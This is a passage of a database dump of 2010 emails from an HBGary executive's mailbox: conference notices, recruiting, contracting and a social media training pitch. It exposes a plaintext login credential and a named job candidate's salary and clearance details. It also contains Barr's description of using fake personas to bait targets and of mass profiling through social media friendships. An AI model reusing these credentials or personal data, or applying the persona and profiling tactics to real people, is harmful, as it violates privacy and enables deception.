conclude ideally and\r\nthat lead to learning. Lastly, we are interested in presentations focusing on\r\nthe monetization of cybercrime.\r\n\r\n&nbsp;\r\n\r\n-\r\nCybercrime Case Studies\r\n\r\n-\r\nMobile Threats &amp; Technologies\r\n\r\n-\r\nVideo\r\n\r\n-\r\nThe Cloud - tech releases &amp; case studies\r\n\r\n-\r\nDNS Security\r\n\r\n-\r\nTargeted Attacks - specifically real world defenses &amp; APT response\r\n\r\n-\r\nIncident Response &amp; Management - best practices\r\n\r\n-\r\nErrors in Response\r\n\r\n-\r\nIPv6\r\n\r\n-\r\nAppliance Security\r\n\r\n-\r\nTools &amp; Standards\r\n\r\n-\r\nID Theft, Banks &amp; Regulations in the Finance World\r\n\r\n-\r\nNetFlow in Security &amp; Incident Response\r\n\r\n-\r\nProtecting global events like the World Cup, elections, major conferences\r\n\r\n-\r\nEmerging Technologies\r\n\r\n-\r\nVoice/VoIP, including infrastructures (e.g. SS7+IP)\r\n\r\n-\r\nSocial Media Threats &amp; Security\r\n\r\n-\r\nRoute Security\r\n\r\n-\r\nRogue Networks &amp; Criminal Network Services\r\n\r\n-\r\nThe Malware Ecosystem\r\n\r\n-\r\nUnderground Economy\r\n\r\n&nbsp;\r\n\r\nAll\r\nsubmission must be in English and can be submitted via the Presentation\r\nManagement Site starting 1st September 2010 (https://reg.first.org/papers/presenter).\r\nYou may also upload your submission via the Presentation Management Site in MS\r\nOffice, OpenOffice or PDF format.&nbsp; Please be sure to include a 1-2\r\nparagraph biography.\r\n\r\n&nbsp;\r\n\r\nProcess\r\nof Selection\r\n\r\nAll\r\nsubmissions will be handled electronically through the Presentation Management\r\nSite available starting 1st September 2010, available at: https://reg.first.org/papers/presenter.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nThe\r\nprogram committee will evaluate all submissions based on quality and relevance.\r\nAll accepted submissions are held in confidence for publication until after the\r\nconference.&nbsp; When you submit please ensure there is enough material for us\r\nto make a good determination as to content. \r\n\r\n&nbsp;\r\n\r\nSubmissions\r\nreceived after 10th December 2010 will not be considered. Where\r\nemployer, client, or government authorization is needed, it is the\r\nresponsibility of the author(s) to obtain such authorization prior to\r\nsubmitting the final materials.&nbsp;&nbsp;&nbsp; \r\n\r\n&nbsp;\r\n\r\nAccepted\r\nspeaker submission shall be presented by their author(s). After the conference\r\nthe presentations will be published on the FIRST website.&nbsp;&nbsp; \r\n\r\n&nbsp;\r\n\r\nSpeakers\r\nPrivileges\r\n\r\nA\r\ndiscount off the conference fee(s) will be offered for each accepted\r\npresentation \r\n\r\nImportant\r\nDates\r\n\r\n&nbsp;\r\n\r\n1st\r\nSeptember 2010 - Publication of Call for Speakers\r\n\r\n10th\r\nDecember 2010 - Submission Deadline\r\n\r\n1st\r\nFebruary 2011 - Notice of Acceptance\r\n\r\n3rd\r\nJune 2011 - Final Submissions Due\r\n\r\n12-17\r\nJune 2011 - 23rd Annual FIRST Conference at the Hilton Vienna\r\n\r\n&nbsp;\r\n\r\nQuestions\r\n\r\nIf\r\nyou have any questions about the conference submission process or require more\r\ninformation, please send your query to first-2011chair@first.org.&nbsp;&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nHope\r\nto see you in Vienna!\r\n\r\n&nbsp;\r\n\r\nBest\r\nregards,\r\n\r\nGavin\r\nReid\r\n\r\nFIRST\r\n2011 Program Chair\r\n\r\nFIRST.Org,\r\nInc.\r\n\r\n================================END\r\nCALL FOR SPEAKERS=================================\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou have any other questions regarding the conference, please do not hesitate\r\nto contact the conference staff at first-2011@first.org.&nbsp;\r\n\r\n\r\nIf\r\nyou are interested in how your organization can become a member of FIRST,\r\nplease send mail to the FIRST Secretariat at first-sec@first.org. \r\n\r\n&nbsp;\r\n\r\nAs\r\nGavin says, hope to see you all in Vienna!\r\n\r\n&nbsp;\r\n\r\nKind\r\nregards,\r\n\r\nTraci\r\n\r\n&nbsp;\r\n\r\nTraci Wei\r\n\r\nConference &amp; Marketing Coordinator\r\n\r\n..............................................................\r\n\r\nConference &amp; Publication Services, LLC\r\n\r\n213 W. Institute Place, Suite 405\r\n\r\nChicago, IL 60610\r\n\r\nd. 312.268.6784\r\n\r\np. 312.372.1255 ext. 107\r\n\r\nf.&nbsp; 312.372.1427\r\n\r\nt.&nbsp; @capsllc\r\n\r\nhttp://www.capsllc.net\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9348,'aaron_hbgary_com/9348.html'),(11156,'2010-09-01','\"Potomac Officers Club\" <support@potomacofficersclub.com>','/aaron@hbgary.com/new/1297008520.M72325P14101Q6009.eml','aaron@hbgary.com','POC Event Announcement','\r\n\r\n\r\nPotomac Officers Club Invite\r\n\r\n\r\n\r\nWe are pleased to announce that security expert and former White House\r\nadvisor Richard Clarke will be speaking at our next luncheon.  Richard\r\nClarke is an internationally-recognized expert on security, including\r\nhomeland security, national security, cyber security, and counterterrorism.\r\nHe is currently an on-air consultant for ABC News and teaches at Harvard\'s\r\nKennedy School of Government.\r\nMr. Clarke served the last three Presidents (George H.W. Bush, Bill\r\nClinton, and George W. Bush) as a senior White House Advisor. Over the\r\ncourse of an unprecedented 11 consecutive years of White House service, he\r\nheld the titles of: Special Assistant to the President for Global Affairs,\r\nNational Coordinator for Security and Counterterrorism and Special Advisor\r\nto the President for Cyber Security. He also wrote two authoritative books\r\non Cyber Security entitled \"Cyber War\" and \"Against all Enemies\".  You can\r\nreceive one of his books when you register for the event!\r\nYou will not want to miss this chance to hear from an extraordinary man\r\non this very relevant and topical subject.   Details of the event are\r\nincluded below.  PLEASE NOTE:  You are now required to enter your username\r\nand password to sign up for the event.  That information is contained below\r\nin this email for your ease!\r\nDate:  Tuesday, October 5th\r\nTime:  11:30 am (networking and registration) with lunch and speaker at\r\n12:00 pm  - 1:00 pm.\r\nLocation:  Tyson\'s Corner Ritz Carlton (Salon 3)\r\nLink to Register : http://www.potomacofficersclub.com/events/hxIfaLvMibUVqTAVR4F9/\r\nYour login information:\r\nUsername : aaron@hbgary.comPassword : KyCPx7T2\r\nWe hope to see you all there!\r\nThe Potomac Officers Club\r\nPS &ndash; as you may have noticed, the Potomac Officers Club has a new\r\n(and improved!) website.  Thank you very much for your patience and\r\ncooperation as we are still fine tuning all the features and we may\r\nexperience a few \"growing pains\" in the process.  We sincerely appreciate\r\nany comments or suggestions you might have.\r\nIf you are unable to attend this event and would like to be removed\r\nfrom future reminders, please click here.\r\n\r\n\r\n\r\n\r\n',10722,'aaron_hbgary_com/10722.html'),(11157,'2010-09-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008521.M109613P14101Q6012.eml','Eric.Mann@tasc.com,lora.woodworth@tasc.com,Eric.Mann@tasc.com,lora.woodworth@tasc.com','Asood','Hi Eric / Lora,\r\n\r\nI was approached by Asood from GMU at the GFirst Conference in San\r\nAntonio.  He mentioned that you are evaluating his software in the\r\nTRIAD.  He is interested in integrating HBGary DDNA technology into\r\nhis solution.  His overview was very vague and I mentioned that I know\r\nboth of you, and that I would like to see his software in order to\r\nbetter understand its form, fit, function, etc..\r\n\r\nDo you have some time to discuss/demo or give me an email overview?\r\n\r\nThanks,\r\nTed\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',3944,'aaron_hbgary_com/3944.html'),(11158,'2010-09-01','\"Regus\" <email@regusworldwide.com>','/aaron@hbgary.com/new/1297008521.M377803P14101Q6013.eml','aaron@hbgary.com','Don\'t miss your chance to win with Regus','\r\n\r\n\r\n\r\nRegus\r\n\r\n \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          Having\r\n              trouble viewing this e-mail? See it online.\r\nPlease add email@regusworldwide.com to your address book.\r\n          &nbsp;\r\n          \r\n          &nbsp;\r\n        \r\n        \r\n          \r\n          \r\n          \r\n          \r\n        \r\n      \r\n        \r\n        \r\n          \r\n            \r\n              \r\n              \r\n                \r\n                  \r\n                \r\n                \r\n                  \r\n                \r\n                \r\n                  And\r\n        for every single referral who becomes a client, you get a Sony Blu-ray Disc&#8482; player.\r\n                \r\n                \r\n                  \r\n                \r\n                \r\n                  Don&#8217;t\r\n                      forget to refer your friends to Regus! You get a Sony Blu-ray\r\n                      Disc player for every referral who becomes a Regus client.*\r\n                      The more you refer, the more you win.\r\n                    \r\n                    \r\n                  Refer\r\n        a friend today at regus.com/referral.\r\n        &nbsp;                  \r\n                \r\n                \r\n                  \r\n                \r\n                \r\n                  \r\n                \r\n                \r\n                  \r\n                \r\n              \r\n              \r\n                \r\n                  \r\n                \r\n                \r\n                  \r\n                \r\n                \r\n                  1-800-OFFICES (633-4237)\r\n                \r\n                \r\n                  &nbsp;\r\n                \r\n              \r\n              \r\n            \r\n          \r\n        \r\n      \r\n        \r\n          \r\n            \r\n            \r\n            \r\n          \r\n          \r\n            \r\n            *Valid\r\n                  at participating locations in the United States and Canada.\r\n                  The referral (an unrelated third party) must sign a new 12-month\r\n                  (minimum) Virtual Office agreement, a 6-month (minimum) Office\r\n                  agreement, a businessworld Platinum, or businessworld PlatinumPlus\r\n                  membership on or before September 30, 2010, in order for the\r\n                  Sony Blu-ray 3-D DVD Player to be received. Optional reward,\r\n                  in lieu of the Sony: a $200 American Express&copy; Gift Card. Offer\r\n                  does not apply to Mailbox Plus, Phone Answering Service, renewals,\r\n                  or same company name expansions. Not applicable for broker\r\n                  referrals or deals. All participants (referring client and\r\n                  referred client) must be in good standing with Regus and cannot\r\n                  be in default of any agreement with Regus at any location.\r\n                  Regus reserves the right to amend the terms and conditions\r\n                  of this program. \r\n            \r\n              Special\r\n                  Offer Terms: The iPad will be given to the person who refers\r\n                  the most new Regus clients. Please note this does not mean\r\n                  the person who submits the most referrals. The referred person(s)\r\n                  must become a new Regus client, and all deals must be in compliance\r\n                  with the terms and conditions noted above. Any deal that does\r\n                  not meet the terms and conditions will not qualify as an entry.\r\n                  If there is no clear winner at the end of the promotion timeframe,\r\n                  a random drawing will be held on or before October 15. The\r\n                  winner will be notified by phone or e-mail. No cash exchange\r\n              or alternative reward is available.\r\n              Promotion\r\n                  dates: July 1, 2010 &#8211; September 30, 2010.\r\n                \r\n              \r\n              Regus\r\n                Group plc and its subsidiaries (&#8220;Regus Group&#8221;) respect your\r\n                privacy and are committed to protecting it. If you no longer\r\n                wish to receive our promotional communications, you may change\r\n                your requirements by clicking update profile. You can find out more by reading our privacy\r\n              policy.\r\n              Regus\r\n                plc (soci&eacute;t&eacute; anonyme) Head Office: 26 Boulevard Royal, L-2449\r\n                Luxembourg R.C.S. Luxembourg B: 141159. Registered Office: 22\r\n                Grenville Street, St Helier, Jersey, JE4 8PX, Channel Islands\r\n                Jersey Registered Number: 101523.\r\n            \r\n          \r\n      \r\n    \r\n  \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6411,'aaron_hbgary_com/6411.html'),(11159,'2010-09-01','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008521.M663115P14101Q6014.eml','\"Aaron Barr\" <aaron@hbgary.com>','WILLIS C. MCDONALD II','Hi Aaron,here\'s a new recruit-lives in GA...will relo up here in 2 seconds...has an FSP!!CANDIDATE\'S NAME: &nbsp;WILLIS C. MCDONALD IICURRENTLY LIVES IN: &nbsp;GA			WILL RELOCATEGEOGRAPHIC PREFERENCES: &nbsp;DC/MD/VA&nbsp;		He is open to hear about outstanding opportunities elsewhere.LOOKING FOR WORK BECAUSE: &nbsp;The contract he is working on is over in 2 WEEKS.&nbsp;CURRENT SALARY: &nbsp;$78,000 &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CLEARANCES: &nbsp;TS/SCI with a FULLSCOPE POLY (8-2008)EDUCATION AND TRAINING:2006 - 2008 B.S. Information TechnologySouthern Polytechnic State University, Marietta GA2002 - 2005 Electrical and Computer EngineeringUniversity of New Orleans, New Orleans LA2010 FOR558 Network ForensicsSANSfire &nbsp;Baltimore MDSUMMARY OF QUALIFICATIONS:Over 14 years experience including information security, network administration and live forensic analysis of information systems. &nbsp;Willis has a strong understanding of various commercial security products and systems including&nbsp;applications, capabilities, and limitations. &nbsp;He also have extensive professional experience in network planning, implementation and operations.&nbsp;PROFESSIONAL EXPERIENCE:2008 - PresentGlobal Network Exploitation and Vulnerability AnalystNational Security Agency, Fort Gordon GAResponsibilities included: &nbsp;Performing interactive operations, live forensic analysis of remote computer systems and networks, and situational health and security posture analysis of the endpoint environment. &nbsp;Security posture analysis included identifying vulnerabilities and security products on systems along with malware identification and analysis for possible capabilities and interference with proprietary tools. &nbsp;Attended a six month rigorous training course in forensics, software development, reverse engineering and information security.&nbsp;2006 - 2008 &nbsp;Network AdministratorThe Community Bank, Loganville GADuties included but were not limited to:Responsible for ensuring overall health and security of bank information systems. &nbsp;Auditing IDS and firewall systems, ground up planning and implementation of branch systems, user administration, backup administration, database administration and development of web based front ends for existing&nbsp;applications and a ground up re-work of the existing web site to include a CMS for ease of future maintenance. &nbsp;Also, implemented Nagios event monitoring for all servers and security devices.2006 - 2006&nbsp;Senior TechnicianPifusion Development Group, Tucker GAPerformed repairs and sales of computer hardware, software and network equipment both in-house and on-site. &nbsp;Repair duties included: general hardware/software troubleshooting and replacement and virus and malware remediation. &nbsp;Implemented and designed network systems for new and existing locations. &nbsp;Also assessed off-lease equipment for recycling and valuation for sale.2002 - 2006 &nbsp;Supervisor TraineeMcDonald Enterprises, Slidell LAAdministered and maintained environmental remediation systems for three hazardous waste remediation sites. &nbsp;Duties included SCADA and PLC systems administration, company information systems administration and general maintenance and repair of industrial wastewater treatment systems.1998 - 2002&nbsp;Assistant AdministratorFirearms Training Systems, Suwanee GAAdministered a mixed environment network for a computer based firearms training systems manufacturer for military and law enforcement agencies. &nbsp;Administration duties included backup administration, general user administration, PBX administration and database administration and maintenance. &nbsp;Also repaired and built desktop systems for end users. &nbsp;Also monitored web systems for misuse and anomalies.1995 - 1996IT SpecialistMFP/King Computer, Norcross GAResponsible for assessment and remediation of off-lease IBM PCs. &nbsp;Remediation included loading and configuring systems to customer specifications. &nbsp;Implemented network based loading system to improve productivity over using legacy floppy based loading. &nbsp;~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence ',13206,'aaron_hbgary_com/13206.html'),(11160,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008523.M190152P14101Q6015.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Facility Security Clearance Sponsorship Request','Sent from my iPadBegin forwarded message:From: Catherine Weeks &lt;cweeks@digitalmanagement.com&gt;\r\nTo: &quot;occ.facilities@dss.mil&quot; &lt;occ.facilities@dss.mil&gt;Subject: Facility Security Clearance Sponsorship Request\r\nPlease find attached a Facility Security Sponsorship for HBGary Federal, LLC. Also attached is the Digital Management DD254 under which this sponsorship is requested.\r\nIf you have any questions regarding this request, please contact the undersigned.Respectfully,Catherine WeeksFacility Security Office\r\nDigital Management, Inc.FSO Office location:1302 Concourse Drive . Suite 301 . Linthicum, MD 21090ph 240-744-3040 | mobile 301-461-8336 | efax: 702-995-7699\r\nCorporate HQ:6701 Democracy Boulevard . Suite 500. Bethesda, MD 20817Ph 240-223-4800\r\n',7008,'aaron_hbgary_com/7008.html'),(11161,'2010-09-01','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297008523.M482474P14101Q6016.eml','\"Aaron Barr\" <aaron@hbgary.com>','Sponsorship Letter','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, Cathy submitted the letter and DD-254 this afternoon. Big\r\nfirst step is complete. Bill\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1736,'aaron_hbgary_com/1736.html'),(11162,'2010-09-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008523.M721486P14101Q6017.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','FW: New CCAT Solicitation Opens - DHS opportunity','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThought you might want to see\r\nthis DHS opportunity\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Cynthia Edwards\r\n[mailto:cyedwards@foundation.sdsu.edu] On Behalf Of CCAT (DEFENSE)\r\nSent: Wednesday, September 01, 2010 12:36 PM\r\nSubject: New CCAT Solicitation Opens\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe Department of\r\nHomeland Security, Science and Technology Directorate &#8211; TechSolutions and\r\nCenter for Commercialization of Advanced Technology (CCAT) are pleased to announce\r\nthe opening of a national solicitation seeking new technologies, products and\r\nsystems that address key First Responder capability gaps.&nbsp; We invite your\r\norganization to consider submitting an application for consideration of funding\r\nfor product development, test, evaluation, demonstration, and business\r\ndevelopment services.&nbsp; To access the solicitation, please go to the CCAT\r\nwebsite at www.ccatsandiego.org/DHS_sol.html&nbsp; to download the application\r\ninstructions and forms.&nbsp; You may submit your application between\r\nWednesday,&nbsp; September 1, 2010 through&nbsp; Thursday, September 30, 2010\r\n4pm PDT .\r\n\r\n&nbsp;\r\n\r\nIf you have any\r\nquestions, please contact CCAT Program Director Tom Sheffer at\r\ntsheffer@foundation.sdsu.edu\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nTom Sheffer\r\n\r\nProgram Director\r\n\r\nCenter for\r\nCommercialization of Advanced Technology\r\n\r\nSan Diego State\r\nUniversity Research Foundation\r\n\r\n5250 Campanile\r\nDrive\r\n\r\nSan Diego, CA\r\n92182\r\n\r\nGateway Center;\r\nThird Floor\r\n\r\nOffice\r\nPhone:&nbsp; 619-594-4135\r\n\r\nCell Phone:&nbsp;\r\n619-405-7079\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3095 - Release Date: 09/01/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5052,'aaron_hbgary_com/5052.html'),(11163,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008523.M977555P14101Q6018.eml','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','Re: Social Media, Exploitation, and Persistent Internet Operations','Rgr.  Sooner the better for me.  I have taught the 1/2 day in class course before.  On the 16th will be my first time teaching it over webex.  If you want they can attend the webex on the 16th.  The in-class courses right now I have scheduled are customer specific.  If you would prefer not the webex I can come in and we can go over the material with a small audience.  Overall I think it is a course ready for customer attendance but I consider you guys a strategic partner and want to make sure your happy with it before you potentially advertise it to your customers.\r\n\r\nAgreed on the OSINT.  I few comments here.  I have been conducting some social media pen tests for some customers and they are going very well.  My fictional personas have lots of friends :) .  I prove exploitation by getting folks to click a like button or click a link.  This provides a highly targeted delivery mechanism.  I have a whole methodology for creating successful personas.  But as you mentioned social media is a huge OSINT tool.  I have a portion of the class dedicated to how you can build profiles on people and organizations using social media.\r\n\r\nAlso working with Palantir to collect as much social media data as we can and then provide an interface to query the data for specific characteristics.  Such as show me all the people that list themselves working with organization X.  Now show me people that show common friendships across these identified people.  You can start to build lots of intelligence just based on friendship relationships.\r\n\r\nI was working on the TSA proposal and through analysis of linkedin was able to determine subcontractors to KCG based on friendships and comments/recommendations that were made on different profiles as one simple example.  In each of the customer engagements I have right now I can identify more people that work for the company than publicly release because of common friendships across multiple publicly disclosed employees.  With social media you are as strong as your weakest link.  I have lots of lessons learned and tips when using social media.\r\n\r\nAaron\r\n\r\nOn Sep 1, 2010, at 1:31 PM, Eifert, Eric J. wrote:\r\n\r\n> Let me know when you would like to do it and I can send a Sr. Pen Testers and a Sr. Open Source Intel analyst.  One initial piece of feedback is that this would be great for OSINT (Open Source Intelligence) and I see a large need in the government space for this as well.\r\n> \r\n> Thanks,\r\n> \r\n> Eric\r\n> \r\n> Eric J. Eifert\r\n> Vice President, Cyber Defense Solutions Business Unit\r\n> ManTech Mission, Cyber and Technology Solutions\r\n> (direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n> \r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:arasita@mac.com] \r\n> Sent: Wednesday, September 01, 2010 1:28 PM\r\n> To: Eifert, Eric J.\r\n> Subject: Re: Social Media, Exploitation, and Persistent Internet Operations\r\n> \r\n> Eric,\r\n> \r\n> Pilot.  I think it\'s a very good course but I need some good critiques to validate I think before we take it whole hog to government customers.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Sep 1, 2010, at 1:23 PM, \"Eifert, Eric J.\"  wrote:\r\n> \r\n>> Aaron, is this ready for prime time or are you still in the pilot phase?  If in the pilot phase I would like to send one or two folks to evaluate.\r\n>> \r\n>> Thanks,\r\n>> \r\n>> Eric J. Eifert\r\n>> Vice President, Cyber Defense Solutions Business Unit\r\n>> ManTech Mission, Cyber and Technology Solutions\r\n>> (direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n>> \r\n>> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n>> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:arasita@mac.com] \r\n>> Sent: Wednesday, September 01, 2010 1:15 PM\r\n>> Subject: Social Media, Exploitation, and Persistent Internet Operations\r\n>> \r\n>> The rise of the social web has created an entirely new set of useful technologies and security vulnerabilities.  It is our experience that most individuals and organizations understand there are risks to using social media but don\'t understand the full extent, from what types of use, what the real risks are, or how the vulnerabilities can be fully exploited, and how to effectively protect themselves.\r\n>> \r\n>> HBGary Federal has extensive experience in social media technologies, how to use these tools effectively, what the risks are to information exposure and exploitation, and how to more effectively protect yourself and your organization.  We feel this is an area that needs more attention and understanding quickly as the commercial social media platforms provide to much easy opportunities for threats.\r\n>> \r\n>> Attached is our training brochure for our online and in-class social media training programs, 1/2 and full day.  We also offer a tailored training program that is preceded by a social media penetration test.  The information gathered during the pen test is provided in a before and after information exposure report as well as the information is used to tailor the training program to make it as relevant as possible to the organization.\r\n>> \r\n>> Visit our training web page to review and sign up for one of our online training classes or send an email to schedule in-class room training.  You can also follow us on twitter to receive regular updates  or become a fan of our Facebook page.\r\n>> \r\n>> Web: training.hbgaryfederal.com\r\n>> Twitter: HBGaryFed\r\n>> Facebook: HBGary Federal\r\n>> Email: training@hbgaryfederal.com\r\n>> \r\n\r\n\r\n',13140,'aaron_hbgary_com/13140.html'),(11164,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008524.M829293P14101Q6019.eml','','Social Media, Exploitation, and Persistent Internet Operations','The rise of the social web has created an entirely new set of useful technologies and security vulnerabilities.  It is our experience that most individuals and organizations understand there are risks to using social media but don\'t understand the full extent, from what types of use, what the real risks are, or how the vulnerabilities can be fully exploited, and how to effectively protect themselves.\r\n\r\nHBGary Federal has extensive experience in social media technologies, how to use these tools effectively, what the risks are to information exposure and exploitation, and how to more effectively protect yourself and your organization.  We feel this is an area that needs more attention and understanding quickly as the commercial social media platforms provide to much easy opportunities for threats.\r\n\r\nAttached is our training brochure for our online and in-class social media training programs, 1/2 and full day.  We also offer a tailored training program that is preceded by a social media penetration test.  The information gathered during the pen test is provided in a before and after information exposure report as well as the information is used to tailor the training program to make it as relevant as possible to the organization.\r\n\r\nVisit our training web page to review and sign up for one of our online training classes or send an email to schedule in-class room training.  You can also follow us on twitter to receive regular updates  or become a fan of our Facebook page.\r\n\r\nWeb: training.hbgaryfederal.com\r\nTwitter: HBGaryFed\r\nFacebook: HBGary Federal\r\nEmail: training@hbgaryfederal.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719-510-8478\r\naaron@hbgary.com',6536,'aaron_hbgary_com/6536.html'),(11165,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008525.M305244P14101Q6021.eml','\"William Luti\" <wluti@digitalmanagement.com>','Re: Sponsorship Letter','Thank you Bill.On Sep 1, 2010, at 1:50 PM, William Luti wrote:Aaron, Cathy submitted the letter and DD-254 this afternoon. Big first step is complete. Bill',6374,'aaron_hbgary_com/6374.html'),(11166,'2010-09-01','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297008525.M520939P14101Q6022.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Sponsorship Letter','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThat&#8217;s what team mates do.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 01, 2010 3:09 PM\r\nTo: William Luti\r\nSubject: Re: Sponsorship Letter\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThank you Bill.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 1, 2010, at 1:50 PM, William Luti wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, Cathy submitted the letter and DD-254 this afternoon. Big\r\nfirst step is complete. Bill\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2411,'aaron_hbgary_com/2411.html'),(11167,'2010-09-01','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297008525.M73398P14101Q6020.eml','\"Aaron Barr\" <aaron@hbgary.com>','Out of Office: Social Media, Exploitation, and Persistent Internet Operations','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOut of the office on business\r\ntravel from 8/31-9/10.&nbsp; If urgent, please email your secondary Palantir point\r\nof contact.&nbsp; I will have occasional access to email.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9317,'aaron_hbgary_com/9317.html'),(11168,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008525.M735172P14101Q6023.eml','\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>','Manning','Hi Patrick,\r\n\r\nWhen we met you had mentioned the potential need for RE/Forensic people on the existing contract.  Is that still the case.  If so are these the right skill sets?\r\n\r\nAaron',2332,'aaron_hbgary_com/2332.html'),(11169,'2010-09-01','\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>','/aaron@hbgary.com/new/1297008526.M24864P14101Q6024.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Manning','Aaron,\r\n\r\nYes.  RE and Advance Forensic skill sets.\r\n\r\nPatrick\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 01, 2010 3:36 PM\r\nTo: Simpson, Patrick B\r\nSubject: Manning\r\n\r\nHi Patrick,\r\n\r\nWhen we met you had mentioned the potential need for RE/Forensic people\r\non the existing contract.  Is that still the case.  If so are these the\r\nright skill sets?\r\n\r\nAaron\r\n',10693,'aaron_hbgary_com/10693.html'),(11170,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008526.M380774P14101Q6025.eml','\"Phil Wallisch\" <phil@hbgary.com>','Fwd: WILLIS C. MCDONALD II','Can you help me vet this guy? &nbsp;I have a few positions available on the classified side for REs that I can fill now.AaronBegin forwarded message:From: Ed Wallach &lt;ed@wallachsearch.com&gt;Date: September 1, 2010 1:16:22 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: WILLIS C. MCDONALD IIHi Aaron,here\'s a new recruit-lives in GA...will relo up here in 2 seconds...has an FSP!!CANDIDATE\'S NAME: &nbsp;WILLIS C. MCDONALD IICURRENTLY LIVES IN: &nbsp;GA			WILL RELOCATEGEOGRAPHIC PREFERENCES: &nbsp;DC/MD/VA&nbsp;		He is open to hear about outstanding opportunities elsewhere.LOOKING FOR WORK BECAUSE: &nbsp;The contract he is working on is over in 2 WEEKS.&nbsp;CURRENT SALARY: &nbsp;$78,000 &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CLEARANCES: &nbsp;TS/SCI with a FULLSCOPE POLY (8-2008)EDUCATION AND TRAINING:2006 - 2008 B.S. Information TechnologySouthern Polytechnic State University, Marietta 